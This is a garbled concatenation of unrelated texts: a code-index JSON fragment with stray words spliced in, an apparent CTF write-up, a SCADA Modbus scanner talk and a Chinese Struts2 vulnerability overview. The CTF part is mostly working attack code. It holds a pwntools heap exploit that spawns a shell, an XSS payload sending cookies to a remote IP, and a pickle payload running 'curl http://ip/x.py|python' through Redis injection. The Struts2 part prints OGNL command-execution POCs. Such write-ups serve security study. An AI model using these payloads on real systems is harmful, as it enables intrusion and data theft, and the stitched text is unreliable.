"comments":"", "declarations":[ ], "spell":"16:63-16:67|func_co_constructor|3|514", "extent":"16:53-16:67|func_co_constructor|3|0", "type":type_treenode, "uses":[ ], "kind":253, "storage":0 }, { "usr":int_sss, "detailed_name":"int s", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"33:80-33:81|func_dfs|3|2", "extent":"33:76-33:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_n, "detailed_name":"int n", "qual_name_offset":0, "short_name_offset":1, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"39:80-39:81|func_leafsimilar|3|2", "extent":"39:76-39:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_1, "detailed_name":"std::TreeNode *std::TreeNode::left", "qual_name_offset":15, "short_name_offset":30, "short_name_size":4, "hover":"", "comments":"", "declarations":[ ], "spell":"8:13-8:17|type_treenode|2|514", "extent":"8:3-8:17|type_treenode|2|0", "type":type_treenode, "uses":[ "31:11-31:15|func_dfs|3|12", "32:13-32:17|func_dfs|3|12", "51:36-51:40|func_insert|3|132" ], "kind":8, "storage":0 }, { "usr":co_stack, "detailed_name":"char std::Co::stack[8192]", "qual_name_offset":5, "short_name_offset":14, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"14:8-14:13|type_co|2|514", "extent":"14:3-14:19|type_co|2|0", "type":0, "uses":[ ], "kind":8, "storage":0 }, { "usr":int_oo, "detailed_name":"int o", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"31:80-31:81|func_dfs|3|2", "extent":"31:76-31:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_6, "detailed_name":"std::TreeNode *x", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"29:27-29:28|func_dfs|3|514", "extent":"29:17-29:28|func_dfs|3|0", "type":type_treenode, "uses":[ "30:8-30:9|func_dfs|3|12", "31:8-31:9|func_dfs|3|12", "31:20-31:21|func_dfs|3|12", "31:39-31:40|func_dfs|3|12", "32:10-32:11|func_dfs|3|12", "33:10-33:11|func_dfs|3|12" ], "kind":253, "storage":0 }, { "usr":treenode_14, "detailed_name":"std::TreeNode *tx", "qual_name_offset":15, "short_name_offset":15, "short_name_size":2, "hover":"std::TreeNode *tx = nullptr", "comments":"", "declarations":[ ], "spell":"59:13-59:15|func_main|3|2", "extent":"59:3-59:25|func_main|3|0", "type":type_treenode, "uses":[ "60:29-60:31|func_main|3|132" ], "kind":13, "storage":0 }, { "usr":void_func_f, "detailed_name":"void (*f)(std::Co *, std::TreeNode *)", "qual_name_offset":7, "short_name_offset":7, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"16:31-16:32|func_co_constructor|3|514", "extent":"16:24-16:51|func_co_constructor|3|0", "type":0, "uses":[ ], "kind":253, "storage":0 }, { "usr":treenode_9, "detailed_name":"std::TreeNode **x", "qual_name_offset":16, "short_name_offset":16, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"49:24-49:25|func_insert|3|514", "extent":"49:13-49:25|func_insert|3|0", "type":type_treenode, "uses":[ "50:11-50:12|func_insert|3|12", "51:5-51:6|func_insert|3|20", "51:19-51:20|func_insert|3|12", "51:32-51:33|func_insert|3|12", "51:46-51:47|func_insert|3|12", "52:4-52:5|func_insert|3|12" ], "kind":253, "storage":0 }, { "usr":14097758609443653436, "detailed_name":"int w", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"29:80-29:81|func_dfs|3|2", "extent":"29:76-29:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_val, "detailed_name":"int std::TreeNode::val", "qual_name_offset":4, "short_name_offset":19, "short_name_size":3, "hover":"", "comments":"", "declarations":[ ], "spell":"7:7-7:10|type_treenode|2|514", "extent":"7:3-7:10|type_treenode|2|0", "type":52, "uses":[ "44:42-44:45|func_leafsimilar|3|12", "44:57-44:60|func_leafsimilar|3|12", "51:11-51:14|func_insert|3|12", "51:23-51:26|func_insert|3|12" ], "kind":8, "storage":0 }, { "usr":solution_1, "detailed_name":"std::Solution s", "qual_name_offset":0, "short_name_offset":0, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"63:12-63:13|func_main|3|2", "extent":"63:3-63:13|func_main|3|0", "type":class_solution, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_15, "detailed_name":"std::TreeNode *ty", "qual_name_offset":15, "short_name_offset":15, "short_name_size":2, "hover":"std::TreeNode *ty = nullptr", "comments":"", "declarations":[ ], "spell":"59:28-59:30|func_main|3|2", "extent":"59:3-59:40|func_main|3|0", "type":type_treenode, "uses":[ "61:29-61:31|func_main|3|132" ], "kind":13, "storage":0 }, { "usr":16409791255353764606, "detailed_name":"int e", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"18:80-18:81|func_co_constructor|3|2", "extent":"18:76-18:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { intintflag PWN kid vm guesttextguest0guestallocate0 update guesttexthostleak "usr":treenode_2, "detailed_name":"std::TreeNode *std::TreeNode::right", "qual_name_offset":15, "short_name_offset":30, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"9:13-9:18|type_treenode|2|514", "extent":"9:3-9:18|type_treenode|2|0", "type":type_treenode, "uses":[ "31:23-31:28|func_dfs|3|12", "33:13-33:18|func_dfs|3|12", "51:50-51:55|func_insert|3|132" ], "kind":8, "storage":0 } ] } blesswodwhoisinhk #!/usr/bin/env python2 # coding:utf-8 from pwn import * import os VERBOSE = 1 DEBUG = 1 LOCAL = 0 target = '0e73066d87ff433989805349cfddc758' libc = [] # libc break_points = [] remote_addr = '34.236.229.208' remote_port = 9999 def hint(break_points=[]): if LOCAL: out = 'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0]) for bp in break_points: out += " -ex 'b *{}'".format(hex(bp)) raw_input(out+" -ex 'c'\n" if break_points else out+"\n") if libc: elf = ELF(libc[0]) gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64'))) if LOCAL: if libc: for libc_ in libc: os.environ['LD_PRELOAD'] = os.environ['PWD'] + '/' + libc_ + ':' p = process('./'+target) if DEBUG: out = 'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0]) for bp in break_points: out += " -ex 'b *{}'".format(hex(bp)) raw_input(out+" -ex 'c'\n" if break_points else out+"\n") else: p = remote(remote_addr,remote_port) if VERBOSE: context.log_level = 'DEBUG' def allocate_guest(size): p.sendafter('Your choice:','1') p.sendafter('Size:',str(size)) def update_guest(index, content): p.sendafter('Your choice:','2') p.sendafter('Index:',str(index)) p.sendafter('Content:',content) def free_guest(index): p.sendafter('Your choice:','3') p.sendafter('Index:',str(index)) def allocate_host(size): p.sendafter('Your choice:','4') p.sendafter('Size:',str(size)) def update_host(index, size, content): p.sendafter('Your choice:','5') p.sendafter('Size:',str(size)) p.sendafter('Index:',str(index)) p.sendafter('Content:',content) def free_host(index): p.sendafter('Your choice:','6') p.sendafter('Index:',str(index)) def exp(cmd=None): allocate_host(p16(0x1000)) allocate_host(p16(0x100)) allocate_host(p16(0x1000)) allocate_host(p16(0x100)) free_host(p8(2)) free_host(p8(0)) allocate_host(p16(0x100)) for i in range(0xb): print i allocate_guest(p16(0x1000)) allocate_guest(p16(0x200)) payload = 'A'*0x10 with open('vm_leak','rb') as f: payload = f.read(0x200) # hint() update_guest(p16(0xb),payload[1::]) update_host(p16(0),p16(0x20),"A"*0x20) # p.interactive() data = p.recvuntil("What") libc = u64(data[0:8]) - 3953048 heap = u64(data[8:16]) - 4384 print hex(libc) print hex(heap) hint() with open('vm_abuse_free','rb') as f: payload = f.read(0x200) update_guest(p16(0xb),payload[1::]) allocate_host(p16(0x200)) #2 allocate_host(p16(0x100)) #3 # hint() free_host(p8(2)) # hint() allocate_host(p16(0x80)) # hint() magic = libc+0xf1147 libc_addr = libc libc = ELF('./libc-2.23.so') payload = 'A'*7+p64(magic) + 'A' * (0x70) real_io_list=libc_addr+libc.symbols['_IO_list_all'] real_system=libc_addr+libc.symbols['system'] real_binsh=libc_addr+next(libc.search('/bin/sh')) # vtable_addr=libc_addr+0x3BE4C0 vtable_addr=libc_addr+0x3c36e0 fake_chunk = '\x00'*8+p64(0x61) # smallbin[4] fake_chunk += p64(0xddaa)+p64(real_io_list-0x10) fake_chunk += p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64((real_binsh- 0x64)/2) fake_chunk = fake_chunk.ljust(0xa0,'\x00') fake_chunk += p64(real_system+0x420) fake_chunk = fake_chunk.ljust(0xc0,'\x00') fake_chunk += p64(1) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(heap+0x110) fake_chunk += p64(real_system) fake_chunk += p64(2) fake_chunk += p64(3) payload += fake_chunk update_host(p16(2),p16(len(payload)),payload) hint() allocate_host(p16(0x100)) print hex(real_io_list) p.interactive() WEB dot free view-sourcejs: if __name__ == '__main__': exp("id") function lls(src) { var el = document.createElement('script'); if (el) { el.setAttribute('type', 'text/javascript'); el.src = src; document.body.appendChild(el); } }; function lce(doc, def, parent) { var el = null; if (typeof doc.createElementNS != "undefined") el = doc.createElementNS("http://www.w3.org/1999/xhtml", def[0]); else if (typeof doc.createElement != "undefined") el = doc.createElement(def[0]); if (!el) return false; for (var i = 1; i < def.length; i++) el.setAttribute(def[i++], def[i]); if (parent) parent.appendChild(el); return el; }; window.addEventListener('message', function (e) { if (e.data.iframe) { if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) { if (e.data.iframe.type == "iframe") { lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent); } else { lls(e.data.iframe.value) } } } }, false); window.onload = function (ev) { JSON parsevlaueappend jscookie document.location='http://ip/?flag='+document.cookie; base64payload: http://13.57.104.34/?{"iframe": {"value":"data:text/html;base64,ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9pcC8/ZmxhZz0nK 2RvY3VtZW50LmNvb2tpZTsKCg=="}} flag bookhub ip nginxRemote Addressnginx ip 18.213.16.123 5000 & 10010 webport 5000debugweb : refresh_session : postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*') } Listening on [0.0.0.0] (family 0, port 80) Connection from [13.57.104.34] port 80 [tcp/http] accepted (family 2, sport 33466) GET /?flag=flag=rwctf%7BL00kI5TheFlo9%7D HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @login_required @user_blueprint.route('/admin/system/refresh_session/', methods=['POST']) def refresh_session(): """ delete all session except the logined user :return: json """ status = 'success' sessionid = flask.session.sid prefix = app.config['SESSION_KEY_PREFIX'] if flask.request.form.get('submit', None) == '1': try: rds.eval(rf''' local function has_value (tab, val) for index, value in ipairs(tab) do if value == val then return true end end rds.eval local inputs = {{ "{prefix} {sessionid}" }} sessionid lua redis flasksessionPickle() lua string.char : return false end local inputs = {{ "{prefix}{sessionid}" }} local sessions = redis.call("keys", "{prefix}*") for index, sid in ipairs(sessions) do if not has_value(inputs, sid) then redis.call("del", sid) end end ''', 0) except redis.exceptions.ResponseError as e: app.logger.exception(e) status = 'fail' import requests import re import os import pickle url="http://18.213.16.123:5000/login/" url2="http://18.213.16.123:5000/admin/system/refresh_session/" payload = 'curl http://ip/x.py|python' class rce(object): def __reduce__(self): return (os.system,(payload,)) rcedata = pickle.dumps(rce()) for i in rcedata: rcedata2 = "string.char(" + ",".join(str(ord(a)) for a in rcedata) + ')' indata='testa"} redis.call("SET", "bookhub:session:testa", '+rcedata2+')--' print indata cookie1={ 'bookhub-session':indata } cookie2={ 'bookhub-session':"testa" } csrftoken=requests.get(url,cookies=cookie1).text.split(' name="csrf_token" type="hidden" value="')[1].split('"')[0] #print csrftoken print requests.post(url2, cookies=cookie1, data={'submit':'1', 'csrf_token':csrftoken}).text flag requests.get(url,cookies=cookie2) nobody@dde6b0f908fb:/usr/src$ /readflag /readflag rwctf{fl45k_1s_a_MAg1cal_fr4mew0rk_t0000000000} The 1 is djang0~ nobody@dde6b0f908fb:/usr/src$
pdf
ModScan A SCADA MODBUS Network Scanner Mark Bristow [email protected] Agenda • Brief introduction to SCADA Systems • The MODBUS Protocol • MODBUS TCP • ModScan Demonstration • ModScan Project Information • Q&A Disclaimer • The material in this presentation is to be used for authorized security scanning/ auditing • If you do something stupid with the information I present here, don’t blame me What is SCADA? • Supervisory Control And Data Acquisition is a system that centrally gathers data in real time from local and remote locations in order to control equipment and conditions. • Commonly also referred to as Industrial Control Systems (ICS), which is not accurate but close Where is SCADA? • Power Generation/Transmission • Water Treatment/Distribution • Pipelines • Traffic Control Systems • Manufacturing Facilities • National Infrastructure • Communications SCADA Architecture What is ModScan? • ModScan is a tool to detect open MODBUS/TCP ports and identify device Slave IDs associated with IP addresses • ModScan is designed for an administrator or security auditor to be able to accurately reconnoiter a MODBUS/TCP network The MODBUS Protocol • About the Protocol • Developed in 1979 by Modicon • Free and Open Source • The most common protocol found in SCADA and ICS networks • Default port 503 • Flavors • Modbus RTU - Compact Binary • Modbus ASCII - Human readable MODBUS Packet Construction • Valid Function codes are 1-127 • 256 byte maximum packet size • Big-Endian encoding • Error Check is CRC/LRC Data Slave ID Fn Code 1 byte 1 byte 252 byte max Error Chk 2 bytes 256 byte max ADU PDU ADU: Application Data Unit PDU: Protocol Data Unit Typical Communication • Modbus is a Master/Slave Serial Protocol • Only Masters can initiate conversation Master Slave Initiate Request Execute Command Initiate Response Receive Response Data SID Fn Ec Data SID Fn Ec Error Communication • Error Function = 0x80 + Function Code • Error Codes defined in specification Master Slave Initiate Request Error Detected Report Error Receive Error Data SID Fn Ec Error Code SID EFn Ec Function Codes Function Code Description 01 Read Coils 02 Read Discretes 03 Read Holding Registers 04 Read Input Registers 05 Write Coil 06 Write Register 07 Read Exception Status 08 Diagnostics 0B Get Comm Event Counter 0C Get Comm Event Log 0F Write Multiple Coils 10 Write Multiple Registers 11 Report Slave ID 14 Read File Record 15 Write File Record 16 Mask Write Register 17 Read/Write Multiple Registers 18 Read FIFO Que Diagnostic Codes Function Code Description 00 Return Query Data 01 Restart Communication 02 Return Diagnostic Register 03 Change ASCII Input Delimiter 04 Force Listen Only Mode 05-09 Reserved 0A Clear Counters and Diagnostic Reg. 0B Return Bus Message Count 0C Return Bus Communication Error Count 0D Return Bus Exception Error Count 0E Return Slave Message Count 0F Return Slave No Response Count 10 Return Slave NAK Count 11 Return Slave Busy Count 12 Return Bus Character Overrun Count 13 Reserved 14 Clear Overrun Counter and Flag 16+ Reserved Modbus Notes • Addressing • Valid Slave IDs 1-247 • Slave ID must be unique per bus • Masters do not have to have an address • Slaves will error when improperly addressed • Communication • One request on the line at a time • Masters must wait for responses ModBus/TCP • ModBus protocol wrapped in TCP Goodness • Checksum dropped • Introduces Gateway device to ModBus • Port 502 is reserved for Modbus/TCP • No additional inherent security measures ModBus/TCP Architecture ModBus/TCP Packet Data Tran ID Fn 2 1 252 Proto ID 2 Length 2 SID 1 MBAP PDU • MBAP: MODBUS Application Protocol Header • PDU remains the same from the MODBUS spec • Protocol ID is always 0x0000 • Big-Endian encoding Bytes Example Request Tran ID Proto ID Len SID FN Diag Code Data • Request sent by Master • Request is to Slave 01 Fn 8 Diagnostics • Diagnostic code 00 for “Return Query Data” Example Response Tran ID Proto ID Len SID FN Diag Code Data • Response sent by slave • Request is to Slave 01 Fn 8 Diagnostics • Diagnostic code 00 for “Return Query Data” • Identical to Request Error Request Tran ID Proto ID Len SID FN Bad Diag Code • Request is to Slave 01 Fn 8 Diagnostics • Diagnostic code FF sent Error Response Tran ID Proto ID Len SID FN Error Code (data) • Function code is 0x88 or 0x08 + 0x80 • Specific Error codes are returned in data field • Error 0x03 is Illegal data value Errors are the Key • When an improper SID is sent • The slave will not respond • The slave will respond with FN+0x80 • When a proper SID is sent • The slave will respond with a valid response • This forms the basis for mapping ModScan • Modscan Scans the IP range provided for open 503 ports • When an open port is found it finds the SID via brute force • By default it stops after first discovered SID • Output in “IP:Port\tSID” format Options • -p PORT (502) • -t TIMEOUT socket timeout (100 mills) • -a --aggressive Aggressive Mode • -f FUNCTION MODBUS Function Code (17) • --data Data for use with -f • -v, -d Verbose, Debug ModScan Demonstration • Scanning our sample network • A look at a pcap • Demo of additional Options ModScan Project • http://modscan.googlecode.com • Uses • Security Network Enumeration • IDS/Network Monitoring Test • Asset Management • Bulk Commands Known Issues • Really, Really Noisy • Brute forcing all ports is inefficient • Does not interpret Error Codes • Can generate false negatives • Does not calculate Length • TCP Checksum not properly calculated Planned Enhancements • Interpret Error Codes • Implement with SCAPY • Additional Protocol Support • Device Fingerprinting • Anything cool someone suggests.... Questions? References • http://en.wikipedia.org/wiki/SCADA • http://www.modbus.org/specs.php • http://www.wingpath.co.uk Contact Information Mark Bristow [email protected] modscan.googlecode.com
pdf
Struts2 组件安全概览 (Skay) Skay@Ateam ⼀、组件概述 1.关键词 框架、MVC、Java Web 2.概述 struts2是基于MVC设计模式的Java Web框架技术之⼀,struts2框架按照MVC的设计思想把 Java Web应⽤程序分为控制层,包括核⼼控制器FilterDispatcher和业务控制器Action,模型 层,包括业务逻辑组件和数据库访问组件,视图层,包括HTML、JSP、struts2标签等,也 可以认为struts是⼀个⼤的servlet。 关于Xwork XWork是⼀个标准的Command模式实现,并且完全从web层脱离出来。Xwork提供了很多核 ⼼功能:前端拦截机(interceptor),运⾏时表单属性验证,类型转换,强⼤的表达式语⾔ (OGNL – the Object Graph NavigationLanguage),IoC(Inversion of Control反转控 制)容器等。 3.使⽤范围及⾏业分布 Struts 2 作为⼀个开发框架,被⼴泛⽤于Java Web项⽬开发。Fofa ⽹络资产搜索引擎 查询 数量4,558,466 语法:app="Struts2" ⼆、环境搭建、动态调试 全部环境上传⾄ https://github.com/0linlin0/Struts2_Vul_Debug 参考⾃:https://xz.aliyun.com/t/2672 新建Java Web项⽬ WEB-INF下新建lib⽬录 将struts相关依赖包放⼊http://archive.apache.org/dist/struts/b inaries/struts-2.0.1-all.zip 修改web.xml 修改index.jsp <?xml version="1.0" encoding="UTF-8"?> 1 <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> 2 <display-name>S2-001 Example</display-name> 3 <filter> 4 <filter-name>struts2</filter-name> 5 <filter- class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> 6 </filter> 7 <filter-mapping> 8 <filter-name>struts2</filter-name> 9 <url-pattern>/*</url-pattern> 10 </filter-mapping> 11 <welcome-file-list> 12 <welcome-file>index.jsp</welcome-file> 13 </welcome-file-list> 14 </web-app> 15 <%@ page language="java" contentType="text/html; charset=UTF-8" 1 pageEncoding="UTF-8"%> 2 <%@ taglib prefix="s" uri="/struts-tags" %> 3 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 4 <html> 5 <head> 6 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 7 <title>S2-001</title> 8 新建welcom.jsp 建⽴Action </head> 9 <body> 10 <h2>S2-001 Demo</h2> 11 <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2- 001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p> 12 <s:form action="login"> 13 <s:textfield name="username" label="username" /> 14 <s:textfield name="password" label="password" /> 15 <s:submit></s:submit> 16 </s:form> 17 </body> 18 </html> 19 <%@ page language="java" contentType="text/html; charset=UTF-8" 1 pageEncoding="UTF-8"%> 2 <%@ taglib prefix="s" uri="/struts-tags" %> 3 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 4 <html> 5 <head> 6 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 7 <title>S2-001</title> 8 </head> 9 <body> 10 <p>Hello <s:property value="username"></s:property></p> 11 </body> 12 </html> 13 package com.demo.action; 1 2 import com.opensymphony.xwork2.ActionSupport; 3 4 public class LoginAction extends ActionSupport { 5 private String username = null; 6 private String password = null; 7 8 public String getUsername() { 9 return this.username; 10 } 11 12 public String getPassword() { 13 return this.password; 14 } 15 16 public void setUsername(String username) { 17 this.username = username; 18 } 19 20 public void setPassword(String password) { 21 this.password = password; 22 } 23 24 public String execute() throws Exception { 25 if ((this.username.isEmpty()) || (this.password.isEmpty())) { 26 src⽬录下新建struts.xml modules导⼊lib包,只导⼊这五个包即可 return "error"; 27 } 28 if ((this.username.equalsIgnoreCase("admin")) 29 && (this.password.equals("admin"))) { 30 return "success"; 31 } 32 return "error"; 33 } 34 } 35 <?xml version="1.0" encoding="UTF-8" ?> 1 <!DOCTYPE struts PUBLIC 2 "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 3 "http://struts.apache.org/dtds/struts-2.0.dtd"> 4 <struts> 5 <package name="S2-001" extends="struts-default"> 6 <action name="login" class="com.demo.action.LoginAction"> 7 <result name="success">welcome.jsp</result> 8 <result name="error">index.jsp</result> 9 </action> 10 </package> 11 </struts> 12 配置tomcat 前台访问发送POC 调试的话idea中直接下断点调试即可 三、漏洞相关 1.漏洞概览 1.1.漏洞列表 https://cwiki.apache.org/confluence/display/WW/Security+Bulletins 1.2.漏洞分布与关联 漏洞多出现于OGNL表达式注⼊ 052为Xstream 反序列化 057之后漏洞关注点在于沙盒绕过 1.3.漏洞过去、现在、未来 OGNL 以及沙箱⼈家绕过 2.复现及分析 ⼀张图镇楼 名称 编号 危害 影响版本 备注 S2-001 S2-001 ⾼危 2.0.0 - 2.0.8 S2-003/005 S2-003/005 ⾼危 2.0.0 - 2.1.8.1 S2-009 S2-009 ⾼危 2.0.0 - 2.3.1.1 S2-012 S2-012 ⾼危 2.0.0 - 2.3.13 S2-013/14 S2-013/14 ⾼危 2.0.0 - 2.3.14.1 S2-015 S2-015 ⾼危 2.0.0 - 2.3.1.1 S2-016 S2-016 ⾼危 2.0.0 - 2.3.15 S2-032 S2-032 ⾼危 2.0.0 - 2.3.15.1 S2-045/46 S2-045/46 ⾼危 2.3.5-2.3.31 S2-052 S2-052 ⾼危 2.0.0 - 2.3.15.1 S2-057 S2-057 ⾼危 2.0.4 - 2.3.34, 2.5.0 - 2.5.16 S2-061 S2-061 ⾼危 2.0.0 - 2.5.25 2.0 前置知识 OGNL表达式 参考链接:https://mp.weixin.qq.com/s/8YxQPDu6sx-w_O4BrBCEmw 以及结合 Google OGNL语法 2.1. S2-001 漏洞复现 POST /s2_01_war_exploded/login.action HTTP/1.1 1 Host: localhost:8082 2 命令执⾏POC: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en- US;q=0.3,en;q=0.2 5 Accept-Encoding: gzip, deflate 6 Content-Type: application/x-www-form-urlencoded 7 Content-Length: 34 8 Origin: http://localhost:8082 9 Connection: close 10 Upgrade-Insecure-Requests: 1 11 12 username=bbb&password=%25{233*233} 13 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[] {"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatche r.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}  1 漏洞分析 跟着陈师傅⽂章⾛,⾸先将断点下 在/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class:69 这⾥接收到 了我们传递的参数 然后来到了com.opensymphony.xwork2.DefaultActionInvocation#executeResult,进⼊这个 ⽅法跟进this.result.execute() ⽅法 跟到这⾥有点懵逼了,我这边直接把断点下到jsp⾥ index.jsp:22 <s:textfield name="password" label="password" /> 从这⾥仔细往下跟 ⾸先会来到org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag,然后进⼊ org.apache.struts2.components.UIBean#end,接下来我们跟进 org.apache.struts2.components.UIBean#evaluateParams 跟进去findString⽅法,调⽤了this.findValue,跟进去注意s2-001中altSyntax默认开启 构造表达式的关键⽅法TextParseUtil.translateVariables,expression为%{password},经过 while循环,确定start和end定位后,此时var为password,stack.findValue(var, asType)后, o被赋值为%{233*233} 然后递归解析表达式 此时部分调⽤栈 漏洞修复 官⽅给出的修复⽅案是将altSyntax默认关闭,使⽤break打断递归查询。 那么这⾥主要说⼀下altSyntax,这个功能是将标签内的内容当作OGNL表达式解析,关闭了之 后标签内的内容就不会当作OGNL表达式解析了。 2.2 S2-003 / 005 漏洞复现 003 POC: 这⾥有个坑 2.0.9 版本复现失败,使⽤的2.0.9.11版本 translateVariables:124, TextParseUtil (com.opensymphony.xwork2.util) 1 translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util) 2 findValue:303, Component (org.apache.struts2.components) 3 evaluateParams:680, UIBean (org.apache.struts2.components) 4 end:450, UIBean (org.apache.struts2.components) 5 doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp) 6 _jspx_meth_s_005ftextfield_005f1:22, index_jsp (org.apache.jsp) 7 _jspx_meth_s_005fform_005f0:22, index_jsp (org.apache.jsp) 8 _jspService:19, index_jsp (org.apache.jsp) 9 005 POC: 003 漏洞分析 看这个poc的样⼦,为什么前⾯要⽤u0023呢,Java⽀持这样麽?⾸先在Java卷1中提到, java是⽀持这种编码⽅的式 ?????好像也不太对....... ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse') (bla)(bla)& ('\u0023myret\[email protected]@getRuntime().exec(\'calc\')')(bla) (bla) 1 ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa) (('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023 foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf) (('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1  1 然后再来看,Struct对#是有防护的 此时的调⽤栈 所以需要编码⽅式绕过。 分析完poc编码问题,再来看下poc两部分都做了什么 ⾸先在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters 获 取我们传⼊的参数 然后在D:/java/Struts2/s2_03/web/WEB-INF/lib/xwork- 2.0.5.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class:132中循 环取出参数进⾏处理 isAccepted:287, ParametersInterceptor (com.opensymphony.xwork2.interceptor) 1 acceptableName:272, ParametersInterceptor (com.opensymphony.xwork2.interceptor) 2 setParameters:205, ParametersInterceptor (com.opensymphony.xwork2.interceptor) 3 这⾥提⼀点,对参数的正则过滤是在this.acceptableName(name)中处理的。 回到this.setParameters(action, stack, parameters);在这之前(处理传⼊参数),先做了另⼀ 些操作,直接看OgnlContextState.setDenyMethodExecution(contextMap, true); 这⾥限定了,我们不能调⽤⽅法,所以poc中需要将这个参数改为false 然后再执⾏命令 ⾄于poc的构造涉及了ognl语法,我传进去了这些代码,它居然会⽼⽼实实执⾏,可能这就是 表达式功能太强⼤了吧~ 005 绕过 官⽅对于003是怎么修复的呢? 官⽅通过增加安全配置禁⽌静态⽅法调⽤ (allowStaticMethodAcces)和类⽅法执⾏(MethodAccessor.den yMethodExecution)等来修补。 更改poc为: 你增加多少个安全配置,我都能修改233333..... 2.3 S2-009 漏洞复现 POC: ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse') (bla)(bla) 1 ('\u0023myret\[email protected]@getRuntime().exec(\'calc\')')(bla) (bla)  1 ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa) (('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023 foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf) (('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1  1 漏洞分析 S2-009 实际上应该是 S2-003/S2-005 的绕过。005的修复正则: 在修补了S2-003和S2-005之后,攻击者⼜发现了⼀种新的绕过ParametersInterceptor正则 保护的攻击⽅式 当传⼊(ONGL)(1)时,会将前者视为ONGL表达式来执⾏,从⽽绕过了正则的匹配保护。⽽且 由于其在HTTP参数值中,也可以进⼀步绕过字符串限制的保护。 POST /s2_01_war_exploded/user.action? name=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java .lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3d +new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.ex ec%28%27calc%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1 1 Host: localhost:8082 2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en- US;q=0.3,en;q=0.2 5 Accept-Encoding: gzip, deflate 6 